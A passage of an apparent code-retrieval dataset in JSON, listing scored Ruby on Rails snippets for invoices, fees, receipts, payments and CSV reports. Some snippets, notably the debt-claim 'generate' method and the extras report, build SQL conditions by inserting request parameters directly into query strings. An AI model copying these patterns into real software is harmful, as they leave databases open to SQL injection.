7500, 31444]\n @experience_reqd[15] = [ 9001, 40445]\n @experience_reqd[16] = [ 11250, 51695]\n @experience_reqd[17] = [ 13500, 65195]\n @experience_reqd[18] = [ 15000, 80195] #\n @experience_reqd[19] = [ 17505, 97700]\n @experience_reqd[20] = [ 24000,121700]\n @experience_reqd[21] =[999999,1121699]\n\n @experience_reqh[0] = [ 0, 0]\n @experience_reqh[1] = [ 15, 15]\n @experience_reqh[2] = [ 45, 60]\n @experience_reqh[3] = [ 112, 172]\n @experience_reqh[4] = [ 232, 404]\n @experience_reqh[5] = [ 420, 824]\n @experience_reqh[6] = [ 685, 1509]\n @experience_reqh[7] = [ 1075, 2584]\n @experience_reqh[8] = [ 1250, 3834]\n @experience_reqh[9] = [ 1800, 5634]\n @experience_reqh[10] = [ 3250, 8884]\n @experience_reqh[11] = [ 4300, 13184]\n @experience_reqh[12] = [ 5900, 19084]\n @experience_reqh[13] = [ 6666, 25750]\n @experience_reqh[14] = [ 8000, 33750]\n @experience_reqh[15] = [ 9750, 43500]\n @experience_reqh[16] = [ 12750, 56250]\n @experience_reqh[17] = [ 14800, 71050]\n @experience_reqh[18] = [ 17500, 88550]\n @experience_reqh[19] = [ 19000,107550]\n @experience_reqh[20] = [ 28500,136050]\n @experience_reqh[21] =[999999,1121699]\n\n @experience_reqe[0] = [ 0, 0]\n @experience_reqe[1] = [ 16, 16]\n @experience_reqe[2] = [ 48, 64]\n @experience_reqe[3] = [ 118, 182]\n @experience_reqe[4] = [ 254, 436]\n @experience_reqe[5] = [ 455, 891]\n @experience_reqe[6] = [ 725, 1616]\n @experience_reqe[7] = [ 1150, 2766]\n @experience_reqe[8] = [ 1324, 4090]\n @experience_reqe[9] = [ 1990, 6080]\n @experience_reqe[10] = [ 3450, 9530]\n @experience_reqe[11] = [ 4500, 14030]\n @experience_reqe[12] = [ 6250, 20280]\n @experience_reqe[13] = [ 6950, 27230]\n @experience_reqe[14] = [ 8420, 35650]\n @experience_reqe[15] = [ 10500, 46150]\n @experience_reqe[16] = [ 13333, 59483]\n @experience_reqe[17] = [ 15507, 74990]\n @experience_reqe[18] = [ 18510, 93500]\n @experience_reqe[19] = [ 20500,114000]\n @experience_reqe[20] = [ 31500,145500]\n @experience_reqe[21] =[999999,1145499]\n end", "title": "" }, { "docid": "e0e76b1392ae1f61f69cdf34994a1fd6", "score": "0.5305798", "text": "def create_next_order(delivery_date)\n order = Spree::Order.new(self.attributes.merge!(number: self.get_unique_ID, id: nil, delivery_date: delivery_date, state: :confirm))\n\n self.line_items.each do |item|\n order.line_items.new(item.attributes.merge!(id: nil, order_id: order.id))\n end\n order.save\n order.update_total_and_item_total\n order\n end", "title": "" }, { "docid": "0547485b3319df4f50f6959b4eec7164", "score": "0.53057283", "text": "def generate\n # required params\n office = params[:debt_claim][:office]\n payday_limit = params[:debt_claim][:payday_limit] # es: dd/mm/yyyy - en: mm/dd/yyyy\n # optional params\n projects = params[:debt_claim][:projects]\n periods = params[:debt_claim][:periods]\n reading_routes = params[:debt_claim][:reading_routes]\n clients = params[:debt_claim][:clients]\n subscribers = params[:debt_claim][:subscribers]\n invoice_types = params[:debt_claim][:invoice_types] # Array\n # numeric params\n pending_amount = BigDecimal(params[:debt_claim][:pending_amount]) rescue 0.0\n pending_invoices = Integer(params[:debt_claim][:pending_amount]) rescue 0\n if pending_amount < 0 || pending_invoices < 0\n redirect_to debt_claims_path, alert: I18n.t(\"ag2_gest.debt_claims.generate_error_numeric\") and return\n end\n\n # Formats input params data\n # payday_limit to YYYY-mm-dd format\n if I18n.locale == :es # dd/mm/yyyy\n payday_limit = (payday_limit[6..9] + '-' + payday_limit[3..4] + '-' + payday_limit[0..1]).to_date\n else # mm/dd/yyyy\n payday_limit = (payday_limit[6..9] + '-' + payday_limit[0..1] + '-' + payday_limit[3..4]).to_date\n end\n # projects = projects.split(\",\") if !projects.blank?\n # periods = periods.split(\",\") if !periods.blank?\n # reading_routes = reading_routes.split(\",\") if !reading_routes.blank?\n # clients = clients.split(\",\") if !clients.blank?\n # subscribers = subscribers.split(\",\") if !subscribers.blank?\n invoice_types.delete_at(0)\n invoice_types = invoice_types.empty? ? \"\" : invoice_types.join(\", \")\n\n # Builds WHERE\n w = ''\n w = \"invoice_current_debts.office_id = #{office}\" if !office.blank?\n if !payday_limit.blank?\n w += \" AND \" if w != ''\n w += \"invoice_current_debts.payday_limit < '#{payday_limit}'\"\n end\n if !projects.blank?\n w += \" AND \" if w != ''\n w += \"invoice_current_debts.project_id IN (#{projects})\"\n end\n if !periods.blank?\n w += \" AND \" if w != ''\n w += \"period_id IN (#{periods})\"\n end\n if !reading_routes.blank?\n w += \" AND \" if w != ''\n w += \"subscribers.reading_route_id IN (#{reading_routes})\"\n end\n if !clients.blank?\n w += \" AND \" if w != ''\n w += \"invoice_current_debts.client_id IN (#{clients})\"\n end\n if !subscribers.blank?\n w += \" AND \" if w != ''\n w += \"invoice_current_debts.subscriber_id IN (#{subscribers})\"\n end\n if !invoice_types.blank?\n w += \" AND \" if w != ''\n w += \"invoice_current_debts.invoice_type_id IN (#{invoice_types})\"\n end\n\n # Retrieve current outstanding invoices\n invoices = InvoiceCurrentDebt.g_where_and_unclaimed(w)\n redirect_to debt_claims_path, alert: I18n.t(\"ag2_gest.debt_claims.generate_error_no_data\") and return if (invoices.nil? || invoices.size < 1)\n\n # Retrieve invoices grouped by client, and where amount and/or invoices number are greater than those requested\n totals = 0\n g = InvoiceCurrentDebt.g_where_and_unclaimed_grouped_by_client(w, pending_amount, pending_invoices)\n if !g.blank?\n # Filter invoice records\n c = g.pluck('invoice_current_debts.client_id')\n invoices = invoices.where(client_id: c)\n g.each do |t|\n totals += t.pending_amount\n end\n end\n\n # Set project if it's unique\n project = nil\n project = projects[0] if projects.size == 1\n\n # Claim No.\n claim_no = dc_next_no(office)\n # Current user\n created_by = current_user.id if !current_user.nil?\n\n # Begin the transaction\n begin\n ActiveRecord::Base.transaction do\n # Create debt claim\n claim = DebtClaim.create(office_id: office, project_id: project,\n claim_no: claim_no, closed_at: nil,\n debt_claim_phase_id: DebtClaimPhase::FIRST_CLAIM,\n totals: totals, subtotals: totals,\n surcharges: 0, created_by: created_by)\n if !claim.id.nil?\n # Loop thru invoices and create items\n invoices.each do |i|\n DebtClaimItem.create(debt_claim_id: claim.id, bill_id: i.bill_id,\n invoice_id: i.invoice_id, debt_claim_status_id: DebtClaimStatus::INITIATED,\n debt: i.debt, payday_limit: Time.now.to_date + 1.month,\n created_by: created_by)\n end # invoices.each\n else\n redirect_to debt_claims_path, alert: I18n.t(\"ag2_gest.debt_claims.generate.alert\") and return\n end # claim.save\n\n # redirect_to debt_claim_path(claim), notice: I18n.t(\"ag2_gest.debt_claims.generate.notice\")\n redirect_to debt_claims_path, notice: I18n.t(\"ag2_gest.debt_claims.generate.notice\")\n end # ActiveRecord::Base.transaction\n rescue ActiveRecord::RecordInvalid\n redirect_to debt_claims_path, alert: I18n.t(\"ag2_gest.debt_claims.generate.alert\") and return\n end # begin\n end", "title": "" }, { "docid": "b751961dec6bd75c6da0607495619295", "score": "0.5301326", "text": "def create_payable_account\n\t\t\t\t#Accounting::PayableAccount\n\t\t\t\t\tpayable_account = Accounting::PayableAccount.new\n\t\t\t\t\tpayable_account.doc = self\n\t\t\t\t\tpayable_account.tenderer = tenderer\n\t\t\t\t\tpayable_account.date_doc = invoice_date\n\t\t\t\t\tpayable_account.date_doc_expiration = invoice_date\n\t\t\t\t\tpayable_account.reference = reference\n\t\t\t\t\tpayable_account.control_number = control_number\n\t\t\t\t\tpayable_account.note = \"#{self.class.model_humanize_name} ##{id.to_code}\"\n\t\t\t\t\tpayable_account.total = amount_total_to_paid\n\t\t\t\t\tpayable_account.paid = 0\n\t\t\t\t\tpayable_account.balance = amount_total_to_paid\n\t\t\t\t\tpayable_account.cashed = false\n\t\t\t\t\tpayable_account.valid?\n\t\t\t\t\tif payable_account.valid?\n\t\t\t\t\t\tpayable_account.save\n\t\t\t\t\tend\n\t\tend", "title": "" }, { "docid": "34e1add817a03a3908c4579937620836", "score": "0.52961016", "text": "def create_and_send_invoice\n self.invoice = ParticipationRequest::Invoice.create(participation_request: self,\n payed_at: Time.now)\n save\n\n # ParticipationRequestMailer.delay(queue: 'mailers').send_invoice_to_user(self)\n end", "title": "" }, { "docid": "4cc2596fd2cae8b0156b0a6623f38a93", "score": "0.5295152", "text": "def add_transaction_if_paid\n #don't make a transaction if there is already a transaction\n unless self.transactions.get_unarchived.any? || self.commission_only\n if self.paid?\n transaction_params = {}\n transaction_params[:restaurant] = Restaurant.find(self.restaurant_id)\n transaction_params[:invoice] = self\n transaction_params[:positive] = true\n transaction_params[:amount] = self.final_balance.abs\n Transaction.create_balance_payment_transaction(transaction_params)\n else #archive last transaction and reset balance since invoice is no\n #longer paid (paid status has been removed)\n #TO DO \n end\n end\n end", "title": "" }, { "docid": "12aa00bbc8291c8019deaa879ed70a16", "score": "0.5292183", "text": "def create\n @transaction = Transaction.new(params[:transaction])\n @transaction.save\n r = Receipt.find(@transaction.receipt_id)\n response = EXPRESS_GATEWAY.setup_purchase(100, express_options(@transaction, r))\n\n redirect_to EXPRESS_GATEWAY.redirect_url_for(response.token)\n \n end", "title": "" }, { "docid": "e51935082bfce0864118b1d89c535454", "score": "0.5267286", "text": "def create\n\t\tif params[:old_receipt_id] #parameter that details whether there is an old receipt that should be trashed.\n\t\t\tReceipt.destroy(params[:old_receipt_id])\n\t\tend\n\t\t@receipt = Receipt.new(title: params[:receipt][:title], user_id: current_user.id, split_type: params[:split_type], been_sent: false)\n\t\tif @receipt.save\n\t\t \t# success\n\t\t \tredirect_to edit_receipt_url(@receipt)\n\t\telse\n\t\t \t# error handling\n\t\t \tflash[:alert] = \"I'm sorry, there was an error in creating your receipt. Please make sure you are assigning a title to your new receipt.\"\n\t\t \tredirect_to receipts_url\n\t\tend\n\tend", "title": "" }, { "docid": "7338340f7501b0bddb3c7a4b7f835dfc", "score": "0.52666587", "text": "def create\n shopify_order = params[:order]\n SyncLog.create(additional_info: shopify_order)\n qb_order = ::Quickbooks::SalesReceipt.from_shopify_order(shopify_order)\n qb_order_data = QuickbooksAccess.to_qb_hash(qb_order)\n puts \"qb_order_data: #{qb_order_data.inspect}\"\n order_resp = QuickbooksAccess.client.create(:salesreceipt, payload: qb_order_data)\n SyncLog.create(additional_info: {req: qb_order_data, resp: order_resp})\n render status: 200, json: shopify_order.to_json\n end", "title": "" }, { "docid": "a71f182fd934cfaaa522ca75e2ae0f65", "score": "0.5260453", "text": "def create\n @current_object = Invoice.new(params[:invoice])\n\t\t@current_object.final_amount ||= @current_object.original_amount\n\t\t@current_object.state = 'created'\n @current_object.number = rand(123456789)\n\t\t@current_object.creator_id = @current_user.id\n @current_object.purchasable_type = \"Invoice\" \n \n respond_to do |format|\n if @current_object.save\n create_pdf(@current_object.id.to_s,@current_object.number.to_s,@current_object.created_at.strftime(\"%d %b %Y\"),@current_object.client.profile.full_address_for_invoice ,@current_object.client.profile.full_name ,@current_object.title,@current_object.final_amount,@current_object.note,@current_object.final_amount,paid=\"\",exhibitionpdf=false,finish_date=Time.now.strftime(\"%d %b %Y\"),deposit_required=\"\")#{invoice.sent_at.strftime(\"%d %b %Y\")} #{invoice.user.profile.full_address}\n \n flash[:notice] = 'Invoice was successfully created.'\n format.html { redirect_to admin_invoice_url(@current_object) }\n format.xml { render :xml => @current_object, :status => :created, :location => @current_object }\n else\n\t\t\t\traise @current_object.errors.inspect\n\t\t\t\tflash[:error] = 'Invoice was not created.'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @current_object.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a19339b8c16f4671af153692bae003a", "score": "0.5252605", "text": "def to_bill\n attrs = self.attributes\n attrs.delete('end_pay')\n attrs['deadline'] = (Time.at(attrs['last_pay']) + attrs['repeat'].days).to_i\n attrs['paid'] = 0\n attrs.delete('id')\n attrs.delete('last_pay')\n attrs['added'] = Time.now.to_i\n bill = Bill.new(attrs)\n return bill\n end", "title": "" }, { "docid": "7d83bec2ac9d29c282ef13a76b84d328", "score": "0.5250735", "text": "def generate_vouchers(order)\n success = true\n \n Voucher.transaction do\n order.quantity.times do\n voucher = order.vouchers.build(:valid_date => Time.zone.now.beginning_of_day, \n :expiration_date => self.period_days.days.from_now.beginning_of_day,\n :notes => order.fine_print, :delay_hours => self.delay_hours) \n if !voucher.save\n success = false\n end \n end \n end\n \n success\n end", "title": "" }, { "docid": "83f617164ade31b16523802e4afba04d", "score": "0.52410984", "text": "def create_file_transmission_receipt(body)\n\n # prepare query url\n _query_builder = Configuration.base_uri.dup\n _query_builder << '/rest/batch'\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # prepare and execute HttpRequest\n _request = @http_client.post _query_url, headers: _headers, parameters: body.to_json\n BasicAuth.apply(_request)\n _context = execute_request(_request)\n\n # validate response against endpoint and global error codes\n if _context.response.status_code == 400\n raise APIException.new 'Unexpected error in API call. See HTTP response body for details.', _context\n elsif _context.response.status_code == 401\n raise APIException.new '', _context\n end\n validate_response(_context)\n end", "title": "" }, { "docid": "c8dfc66201375d7f810a7d1b5cf780e2", "score": "0.5241034", "text": "def create_fee(batch)\n self.batch_id = batch\n category = finance_fee_category\n if save\n create_collection_particular(batch, category)\n create_fee_collection_discount(batch, category)\n end\n end", "title": "" }, { "docid": "eaea501e401135042e8c75f8cb5f9cfe", "score": "0.52399075", "text": "def create\n @fee = Fee.new(params[:fee])\n @fee.user_id = current_user.id\n\n if params[:operation] == \"out\"\n @fee.operation = -1\n else\n @fee.operation = 1\n end\n\n \n if @fee.save\n\n #creo los movimientos\n fecha = @fee.created_at.beginning_of_month + 9.days\n @fee.fee_cant.times do\n fecha\n m = Move.new( :created_at => fecha, :description => @fee.description, :account_id => @fee.account_id, :user_id => @fee.user_id, :amount => @fee.amount, :operation => @fee.operation, :category_id => @fee.category_id)\n m.save\n fm = Feemove.new(:fee_id => @fee.id, :move_id => m.id)\n fm.save\n fecha = (fecha + 30.days).beginning_of_month + 9.days\n end\n\n flash[:notice] = 'Se crearon las cuotas con &eacute;xito'\n redirect_to(:action => 'index')\n \n else\n levantar_datos_index\n render :action => \"index\"\n \n end\n \n end", "title": "" }, { "docid": "7eeac535d54593541070df76b4ec61a3", "score": "0.52375215", "text": "def create_cash_savings_withdrawal_entry( amount, member)\n transaction_entry = self.transaction_entries.create( \n :transaction_entry_code => TRANSACTION_ENTRY_CODE[:hard_saving_withdrawal] , \n :amount => amount ,\n :transaction_entry_action_type => TRANSACTION_ENTRY_ACTION_TYPE[:outward]\n )\n \n member.deduct_extra_savings(amount, SAVING_ENTRY_CODE[:deduct_extra_savings_for_cash_savings_withdrawal] , transaction_entry ) \n end", "title": "" }, { "docid": "c40a3be240d460a51f75eaab082155ed", "score": "0.5232224", "text": "def receipt_params\n params.require(:receipt).permit(\n :date, \n :store_id, \n :pay_account_id, \n receipt_details_attributes: [:id, :name, :price, :expense_id])\n end", "title": "" }, { "docid": "fe69315a74f476e4cea8c348c5843e34", "score": "0.52321863", "text": "def fee_params\n params.require(:fee).permit(:begin_date, :end_date, :income_amount, :fee_amount, :part_amount1, :percent1, :part_amount2, :percent2, fee_details_attributes: [:id, :income_id, :fee_amount, :_destroy])\n end", "title": "" }, { "docid": "eec9ed27f6a3bedd0b54b3c90b748809", "score": "0.5230169", "text": "def payment\n attributes = @ticket_params.clone\n @ticket= wrapper.left_Repository.create(attributes)\n end", "title": "" }, { "docid": "4bc868b432e0a37bf4e508448e793781", "score": "0.52277106", "text": "def write_acknowledge(pdf,name,status,type,grosstotal)\n pdftext \"Received from\", name\n pdftext \"Status I or H\", status # not clear\n pdftext \"Original or Revised\", type\n pdftext \"Gross total income in ACK\", amount_to_pdf_string(grosstotal)\n end", "title": "" }, { "docid": "d6634dc22fb82b961a696c78487b0763", "score": "0.52217853", "text": "def create\n # subtotal possibilities are:\n # None, Reservation, Week, Month\n # report possibilities are\n # Report, CSV\n if params[:csv]\n subtotal_on = session[:subtotal_on]\n startdate = session[:startdate]\n enddate = session[:enddate]\n debug \"start #{startdate} end #{enddate} order #{session[:order]} cond #{session[:cond]} subtotal #{subtotal_on}\\n\"\n csv_string = ''\n @extra_charges_array = extra_charges_array(session[:startdate], session[:enddate], session[:order], session[:cond])\n Extra.all.each do |extra|\n next unless @extra_charges_array[extra.id]\n\tcase extra.extra_type\n when Extra::MEASURED\n\t debug 'Extra::MEASURED'\n\t # save values for subtotals\n\t res = @extra_charges_array[extra.id][0].reservation_id\n\t week = @extra_charges_array[extra.id][0].updated_on.cweek\n\t month = @extra_charges_array[extra.id][0].updated_on.month\n\t subtotal = 0.0\n\t total = 0.0\n\t # generate the header string\n\t csv_string << \"#{extra.name}\\nSpace,Reservation,Name,Date,Initial,Final,Used,Charge,Subtotal,Total\\n\"\n\t @extra_charges_array[extra.id].each do |ec|\n\t case subtotal_on\n\t when 'Reservation'\n unless ec.reservation_id == res\n csv_string << \"subtotal,,,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n res = ec.reservation_id\n end\n when 'Week'\n unless ec.updated_on.cweek == week\n csv_string << \"subtotal,,,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n week = ec.updated_on.cweek\n end\n when 'Month'\n unless ec.updated_on.month == month\n csv_string << \"subtotal,,,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n month = ec.updated_on.month\n end\n end\n subtotal += ec.charge\n total += ec.charge\n csv_string << \"\\\"#{ec.reservation.space.name}\\\",#{ec.reservation_id},\\\"#{ec.reservation.camper.full_name}\\\",\\\"#{DateFmt.format_date(ec.updated_on)}\\\",#{ec.initial},#{ec.final},#{ec.final - ec.initial},#{ec.charge}\\n\"\n end\n\t csv_string << \"\\\"subtotal\\\",,,,,,,,#{subtotal}\\n\" if subtotal\n csv_string << \"\\\"Total\\\",,,,,,,,,#{total}\\n\" if total\n\t csv_string << \"\\n\"\n when Extra::STANDARD\n\t debug 'Extra::STANDARD'\n # save values for subtotals\n res = @extra_charges_array[extra.id][0].reservation_id\n week = @extra_charges_array[extra.id][0].updated_on.cweek\n month = @extra_charges_array[extra.id][0].updated_on.month\n subtotal = 0.0\n # debug \"subtotal 1 is #{@subtotal}\"\n total = 0.0\n # generate the header string\n csv_string << \"#{extra.name}\\nSpace,Reservation,Name,Date,Charge,Subtotal,Total\\n\"\n @extra_charges_array[extra.id].each do |ec|\n\t ec.charge = ec.daily_charges + ec.weekly_charges + ec.monthly_charges\n case subtotal_on\n when 'Reservation'\n unless ec.reservation_id == res\n csv_string << \"subtotal,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n res = ec.reservation_id\n end\n when 'Week'\n unless ec.updated_on.cweek == week\n csv_string << \"subtotal,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n week = ec.updated_on.cweek\n end\n when 'Month'\n unless ec.updated_on.month == month\n csv_string << \"subtotal,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n month = ec.updated_on.month\n end\n end\n subtotal += ec.charge\n total += ec.charge\n csv_string << \"\\\"#{ec.reservation.space.name}\\\",#{ec.reservation_id},\\\"#{ec.reservation.camper.full_name}\\\",\\\"#{DateFmt.format_date(ec.updated_on)}\\\",#{ec.charge}\\n\"\n end\n\t csv_string << \"\\\"subtotal\\\",,,,,#{subtotal}\\n\" if subtotal\n csv_string << \"\\\"Total\\\",,,,,,#{total}\\n\" if total\n\t csv_string << \"\\n\"\n when Extra::COUNTED\n\t debug 'Extra::COUNTED'\n # save values for subtotals\n res = @extra_charges_array[extra.id][0].reservation_id\n week = @extra_charges_array[extra.id][0].updated_on.cweek\n month = @extra_charges_array[extra.id][0].updated_on.month\n subtotal = 0.0\n # debug \"subtotal 1 is #{@subtotal}\"\n total = 0.0\n # generate the header string\n csv_string << \"#{extra.name}\\nSpace,Reservation,Name,Date,Number,Charge,Subtotal,Total\\n\"\n @extra_charges_array[extra.id].each do |ec|\n\t ec.charge = ec.daily_charges + ec.weekly_charges + ec.monthly_charges\n case subtotal_on\n when 'Reservation'\n unless ec.reservation_id == res\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n res = ec.reservation_id\n end\n when 'Week'\n unless ec.updated_on.cweek == week\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n week = ec.updated_on.cweek\n end\n when 'Month'\n unless ec.updated_on.month == month\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n month = ec.updated_on.month\n end\n end\n subtotal += ec.charge\n total += ec.charge\n csv_string << \"\\\"#{ec.reservation.space.name}\\\",#{ec.reservation_id},\\\"#{ec.reservation.camper.full_name}\\\",\\\"#{DateFmt.format_date(ec.updated_on)}\\\",#{ec.number},#{ec.charge}\\n\"\n end\n\t csv_string << \"\\\"subtotal\\\",,,,,,#{subtotal}\\n\" if subtotal\n csv_string << \"\\\"Total\\\",,,,,,,#{total}\\n\" if total\n\t csv_string << \"\\n\"\n when Extra::OCCASIONAL\n\t debug 'Extra::OCCASIONAL'\n # save values for subtotals\n res = @extra_charges_array[extra.id][0].reservation_id\n week = @extra_charges_array[extra.id][0].updated_on.cweek\n month = @extra_charges_array[extra.id][0].updated_on.month\n subtotal = 0.0\n # debug \"subtotal 1 is #{@subtotal}\"\n total = 0.0\n # generate the header string\n csv_string << \"#{extra.name}\\nSpace,Reservation,Name,Date,Number,Charge,Subtotal,Total\\n\"\n @extra_charges_array[extra.id].each do |ec|\n case subtotal_on\n when 'Reservation'\n unless ec.reservation_id == res\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n res = ec.reservation_id\n end\n when 'Week'\n unless ec.updated_on.cweek == week\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n week = ec.updated_on.cweek\n end\n when 'Month'\n unless ec.updated_on.month == month\n csv_string << \"subtotal,,,,,,#{subtotal}\\n\"\n subtotal = 0.0\n month = ec.updated_on.month\n end\n end\n subtotal += ec.charge\n total += ec.charge\n csv_string << \"\\\"#{ec.reservation.space.name}\\\",#{ec.reservation_id},\\\"#{ec.reservation.camper.full_name}\\\",\\\"#{DateFmt.format_date(ec.updated_on)}\\\",#{ec.number},#{ec.charge}\\n\"\n end\n\t csv_string << \"\\\"subtotal\\\",,,,,,#{subtotal}\\n\" if subtotal\n csv_string << \"\\\"Total\\\",,,,,,,#{total}\\n\" if total\n\t csv_string << \"\\n\"\n end\n end\n send_data(csv_string,\n\t\t:type => 'text/csv;charset=iso-8859-1;header=present',\n\t\t:disposition => \"attachment; filename=Extras.csv\") if csv_string.length\n else\n # debug 'processing for display'\n res = Reservation.new(params[:reservation])\n startdate = res.startdate\n enddate = res.enddate\n @subtotal_on = params[:extra][:subtotal]\n session[:startdate] = startdate\n session[:enddate] = enddate\n session[:subtotal_on] = @subtotal_on\n if params[:extras]\n\tstr = ' AND ( '\n\tparams[:extras].each_key {|e| str << \"extra_id = \\'#{e}\\' OR \" }\n\tcond,x,y = str.rpartition(' OR')\n\tcond << ')'\n else\n cond = ' '\n flash[:notice] = 'All extras are reported'\n end\n debug \"subtotal is #{params[:extra][:subtotal]}\"\n case params[:extra][:subtotal]\n when 'None'\n order = \"updated_on ASC\"\n when 'Reservation'\n order = \"reservation_id ASC\"\n when 'Week','Month'\n order = \"updated_on ASC\"\n else\n order = \"updated_on ASC\"\n end\n session[:order] = order\n session[:cond] = cond\n debug \"@subtotal on is #{@subtotal_on} and order is #{order}\"\n @page_title = \"Extras from #{startdate} through #{enddate}\"\n @extra_charges_array = extra_charges_array(startdate, enddate, order, cond)\n end\n end", "title": "" }, { "docid": "eb868bf079c8a62543289cd31af6b0c3", "score": "0.5220442", "text": "def add_fee(event, fee)\n event_id = get_id_for(event)\n url = Util::Config.get('endpoints.base_url') +\n sprintf(Util::Config.get('endpoints.event_fees'), event_id)\n url = build_url(url)\n payload = fee.to_json\n response = RestClient.post(url, payload, get_headers())\n Components::EventFee.create(JSON.parse(response.body))\n end", "title": "" }, { "docid": "97dd2671fb39f5ae7fc39a644c43f849", "score": "0.5214618", "text": "def generate_recurring_entry\n QueueEntry.create!(self.attributes.merge({ :started_on => nil, \n :queue_job_server_id => nil, \n :scheduled_for => scheduled_for ? scheduled_for + recurring_interval.to_i : Time.now + recurring_interval.to_i }))\n end", "title": "" }, { "docid": "dabc9dbd6343b4134d574bc2c4fdf082", "score": "0.5212539", "text": "def express\n amount = Variable.find_by_name(\"CREATION_FEE\").value* @job.amount\n response = EXPRESS_GATEWAY.setup_purchase(amount,\n :ip => request.remote_ip,\n :return_url => payment_job_url(@job),\n :cancel_return_url => root_url,\n :no_shipping => true\n )\n redirect_to EXPRESS_GATEWAY.redirect_url_for(response.token)\n end", "title": "" }, { "docid": "f5696659b23c7e0a99cce5447e2e0222", "score": "0.5211583", "text": "def create\n @fee_receipt = FeeReceipt.new(fee_receipt_params)\n\n respond_to do |format|\n if @fee_receipt.save\n format.html { redirect_to @fee_receipt,:flash => {:success => 'Fee receipt was successfully created.' } }\n format.json { render :show, status: :created, location: @fee_receipt }\n else\n format.html { render :new }\n format.json { render json: @fee_receipt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b8f9926465cc8f431c4a2fb8e8cc3da", "score": "0.5211007", "text": "def generate_transactions\n end", "title": "" }, { "docid": "e5335674b4e8be1cad39570e396281dc", "score": "0.52085674", "text": "def fee_params\n params.require(:fee).permit(\n :member_id,\n :creator_id,\n :amount,\n :payment_date,\n :payment_type,\n :payment_method,\n notes_attributes: note_params\n )\n end", "title": "" }, { "docid": "e5335674b4e8be1cad39570e396281dc", "score": "0.52085674", "text": "def fee_params\n params.require(:fee).permit(\n :member_id,\n :creator_id,\n :amount,\n :payment_date,\n :payment_type,\n :payment_method,\n notes_attributes: note_params\n )\n end", "title": "" }, { "docid": "12222e4901896e8266376b0589de732d", "score": "0.52070785", "text": "def create\n @quotation = Quotation.new(params[:quotation])\n\n #Code for quotation\n @quotation.code = Time.now.to_i.to_s[5,10] \n @quotation.payment_status = false\n\n total = 0\n @quotation.quotation_details.each do |qd|\n total = total + (qd.sell_price * qd.money_value)\n end\n\n @quotation.money_expected = total\n\n respond_to do |format|\n if @quotation.save\n format.html { redirect_to quotation_temporal_codes_path(@quotation.id), notice: 'Quotation was successfully created.' }\n format.json { render json: @quotation, status: :created, location: @quotation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @quotation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48871d76cc8eb3b016f7ddc031734b87", "score": "0.5206125", "text": "def build_transaction(data)\n Transaction.new(\n account: self,\n id: data['nummov'],\n amount: money(data['importe']),\n description: data['conceptoTabla'],\n effective_date: parse_date(data['fechaValor']),\n operation_date: parse_date(data['fechaOperacion']),\n balance: money(data['saldo'])\n )\n end", "title": "" } ]
c171415d8eabbd73886403be7e6e9ea4
GET /conclusions GET /conclusions.json
[ { "docid": "333579593c6430fb17e24481702e5f8f", "score": "0.76549166", "text": "def index\n @conclusions = Conclusion.all\n end", "title": "" } ]
[ { "docid": "288876bd7d95fd2e126f8bc13c253b22", "score": "0.74211544", "text": "def index\n @exclusions = Exclusion.all\n end", "title": "" }, { "docid": "946ce50568551b42c55f581622ffce87", "score": "0.69482636", "text": "def exclusions\n @exclusions ||= []\n end", "title": "" }, { "docid": "11b5f3b7515a3a0f1772addad2553db0", "score": "0.6725301", "text": "def exclusions; end", "title": "" }, { "docid": "11b5f3b7515a3a0f1772addad2553db0", "score": "0.6725301", "text": "def exclusions; end", "title": "" }, { "docid": "11b5f3b7515a3a0f1772addad2553db0", "score": "0.6725301", "text": "def exclusions; end", "title": "" }, { "docid": "716bca50f2a6f002c0a2cf2de017eb96", "score": "0.663715", "text": "def inclusions\n @inclusions ||= []\n end", "title": "" }, { "docid": "716bca50f2a6f002c0a2cf2de017eb96", "score": "0.663715", "text": "def inclusions\n @inclusions ||= []\n end", "title": "" }, { "docid": "716bca50f2a6f002c0a2cf2de017eb96", "score": "0.663715", "text": "def inclusions\n @inclusions ||= []\n end", "title": "" }, { "docid": "716bca50f2a6f002c0a2cf2de017eb96", "score": "0.663715", "text": "def inclusions\n @inclusions ||= []\n end", "title": "" }, { "docid": "f9c12e1c80ebf0c6ed6271518946edec", "score": "0.6595917", "text": "def exclusions\n @collection[:exclude] ||= []\n end", "title": "" }, { "docid": "21f348a1f4fb2fe58629f704d4d90943", "score": "0.6563832", "text": "def inclusions\n []\n end", "title": "" }, { "docid": "1e3c0e99f0cef8881aed4de86dd93d3b", "score": "0.654185", "text": "def index\n @conclusions = Conclusion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @conclusions }\n end\n end", "title": "" }, { "docid": "e6cf208f386207e751cfa8851e3dd210", "score": "0.6348711", "text": "def index\n @test_conclusions = TestConclusion.all\n end", "title": "" }, { "docid": "c1d3b9fca7f0698149ebd03ea838bb52", "score": "0.61878157", "text": "def inclusions; end", "title": "" }, { "docid": "862785ec03da91e2cf17a610fce57118", "score": "0.59870446", "text": "def exclude\n @exclude || []\n end", "title": "" }, { "docid": "30cb79c1f27de5a4e69bbb3244016f9a", "score": "0.5951134", "text": "def set_exclusion\n @exclusion = Exclusion.find(params[:id])\n end", "title": "" }, { "docid": "dd769c6ece210ff685ca73cf37ac0ec8", "score": "0.5948439", "text": "def not_excluded\n where(:exlucde => false)\n end", "title": "" }, { "docid": "b65dfc53a7e03086e7b04e1383777e4d", "score": "0.5917491", "text": "def inclusions=(value)\n @inclusions = value\n end", "title": 